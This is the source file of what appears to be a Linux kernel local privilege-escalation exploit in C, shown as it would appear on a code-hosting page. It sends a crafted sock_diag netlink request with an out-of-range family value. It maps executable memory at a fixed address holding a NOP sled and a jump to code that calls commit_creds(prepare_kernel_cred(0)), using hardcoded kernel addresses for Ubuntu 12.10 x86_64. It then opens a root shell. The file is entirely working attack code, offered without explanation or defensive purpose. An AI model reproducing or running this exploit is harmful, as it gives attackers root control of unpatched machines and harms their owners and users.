75 lines
No EOL
2 KiB
C
75 lines
No EOL
2 KiB
C
#include <unistd.h>
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#include <sys/socket.h>
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#include <linux/netlink.h>
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#include <netinet/tcp.h>
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#include <errno.h>
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#include <linux/if.h>
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#include <linux/filter.h>
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#include <string.h>
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#include <stdio.h>
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#include <stdlib.h>
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#include <linux/sock_diag.h>
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#include <linux/inet_diag.h>
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#include <linux/unix_diag.h>
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#include <sys/mman.h>
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typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
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typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
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_commit_creds commit_creds;
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_prepare_kernel_cred prepare_kernel_cred;
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unsigned long sock_diag_handlers, nl_table;
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int __attribute__((regparm(3)))
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x()
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{
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commit_creds(prepare_kernel_cred(0));
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return -1;
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}
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char stage1[] = "\xff\x25\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
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int main() {
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int fd;
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unsigned long mmap_start, mmap_size = 0x10000;
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unsigned family;
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struct {
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struct nlmsghdr nlh;
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struct unix_diag_req r;
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} req;
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char buf[8192];
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if ((fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_SOCK_DIAG)) < 0){
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printf("Can't create sock diag socket\n");
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return -1;
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}
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memset(&req, 0, sizeof(req));
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req.nlh.nlmsg_len = sizeof(req);
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req.nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY;
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req.nlh.nlmsg_flags = NLM_F_ROOT|NLM_F_MATCH|NLM_F_REQUEST;
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req.nlh.nlmsg_seq = 123456;
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req.r.udiag_states = -1;
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req.r.udiag_show = UDIAG_SHOW_NAME | UDIAG_SHOW_PEER | UDIAG_SHOW_RQLEN;
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/* Ubuntu 12.10 x86_64 */
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req.r.sdiag_family = 0x37;
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commit_creds = (_commit_creds) 0xffffffff8107d180;
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prepare_kernel_cred = (_prepare_kernel_cred) 0xffffffff8107d410;
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mmap_start = 0x1a000;
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if (mmap((void*)mmap_start, mmap_size, PROT_READ|PROT_WRITE|PROT_EXEC,
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MAP_SHARED|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) {
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printf("mmap fault\n");
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exit(1);
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}
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*(unsigned long *)&stage1[sizeof(stage1)-sizeof(&x)] = (unsigned long)x;
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memset((void *)mmap_start, 0x90, mmap_size);
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memcpy((void *)mmap_start+mmap_size-sizeof(stage1), stage1, sizeof(stage1));
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send(fd, &req, sizeof(req), 0);
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if(!getuid())
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system("/bin/sh");
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} |